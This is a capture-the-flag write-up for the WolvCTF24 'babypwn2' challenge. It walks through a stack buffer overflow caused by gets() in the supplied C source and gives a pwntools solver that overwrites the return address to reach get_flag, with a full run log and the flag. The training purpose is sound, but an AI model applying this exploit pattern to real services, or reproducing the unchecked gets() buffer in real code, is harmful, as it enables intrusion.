# Pwn: babypwn2   > Author: retu2libc
  > Description: A harder babypwn.
  > Connection: `nc babypwn2.wolvctf.io 1337`   [babypwn2](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn2/babypwn2)  [babypwn2.c](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn2/babypwn2.c) 
The second one is `babypwn2`
```bash {title="determine file type & check binary elf protection"}$ file babypwn2 && checksec babypwn2babypwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped[*] '/home/nopedawn/CCUG/WolvCTF24/babypwn2/babypwn2'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
```c {title="babypwn2.c" lineNos=true lineNoStart=1}#include <stdio.h>#include <unistd.h>
/* ignore this function */void ignore(){    setvbuf(stdout, NULL, _IONBF, 0);    setvbuf(stdin, NULL, _IONBF, 0);}
void get_flag() {    char *args[] = {"/bin/cat", "flag.txt", NULL};    execve(args[0], args, NULL);}
int main() {    ignore();    char buf[0x20];    printf("What's your name?\n>> ");    gets(buf);    printf("Hi %s!\n", buf);    return 0;}```
The `gets` function is dangerous because it does not check the size of the input, which can lead to a buffer overflow. In this case, the buffer `buf` is of size `0x20` (32 bytes), but `gets` will write past the end of the buffer if given an input larger than 32 bytes.
```bash {title="find get_flag address" hl_lines=["19"]}$ gdb ./babypwn2
gef➤  info functionsAll defined functions:
Non-debugging symbols:0x0000000000401000  _init0x0000000000401030  printf@plt0x0000000000401040  execve@plt0x0000000000401050  gets@plt0x0000000000401060  setvbuf@plt0x0000000000401070  _start0x00000000004010a0  _dl_relocate_static_pie0x00000000004010b0  deregister_tm_clones0x00000000004010e0  register_tm_clones0x0000000000401120  __do_global_dtors_aux0x0000000000401150  frame_dummy0x0000000000401152  ignore0x0000000000401195  get_flag0x00000000004011d0  main0x0000000000401220  __libc_csu_init0x0000000000401280  __libc_csu_fini0x0000000000401284  _finigef➤```
The goal here is to overwrite the return address of the `main` function with the address of the `get_flag` function. This can be done by sending an input of 32 bytes (to fill up the buffer) plus the size of the saved base pointer (usually 8 bytes on a 64-bit system), followed by the address of the `get_flag` function.
```python {title="solver.py" lineNos=true lineNoStart=1}from pwn import *
def exploit(io):    io.recvuntil(b"What's your name?")
    get_flag_address = 0x401195
    payload = b'A' * 32    payload += b'B' * 8    payload += p64(get_flag_address)    io.sendline(payload)
    # output = io.recvall()    # print(output)    io.interactive()
if __name__ == "__main__":    context.update(log_level='debug')    try:        io = remote('babypwn2.wolvctf.io', 1337)        exploit(io)    except:        io = process('./babypwn2')        exploit(io)```
```bash {title="running"}$ python3 solver.py[+] Opening connection to babypwn2.wolvctf.io on port 1337: Done[DEBUG] Received 0x1e bytes:    b'== proof-of-work: disabled ==\n'[DEBUG] Received 0x15 bytes:    b"What's your name?\n"    b'>> '[DEBUG] Sent 0x31 bytes:    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│    *    00000020  42 42 42 42  42 42 42 42  95 11 40 00  00 00 00 00  │BBBB│BBBB│··@·│····│    00000030  0a                                                  │·│    00000031[*] Switching to interactive mode
>> [DEBUG] Received 0x52 bytes:    00000000  48 69 20 41  41 41 41 41  41 41 41 41  41 41 41 41  │Hi A│AAAA│AAAA│AAAA│    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│    00000020  41 41 41 42  42 42 42 42  42 42 42 95  11 40 21 0a  │AAAB│BBBB│BBB·│·@!·│    00000030  77 63 74 66  7b 57 6f 34  68 5f 6c 30  6f 6b 5f 34  │wctf│{Wo4│h_l0│ok_4│    00000040  74 5f 79 30  75 5f 68 34  63 6b 31 6e  67 5f 6d 33  │t_y0│u_h4│ck1n│g_m3│    00000050  7d 0a                                               │}·│    00000052Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x95\x11@!wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}[*] Got EOF while reading in interactive$ q[DEBUG] Sent 0x2 bytes:    b'q\n'$ q[DEBUG] Sent 0x2 bytes:    b'q\n'[*] Closed connection to babypwn2.wolvctf.io port 1337[*] Got EOF while sending in interactive```
  > Flag: `wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}`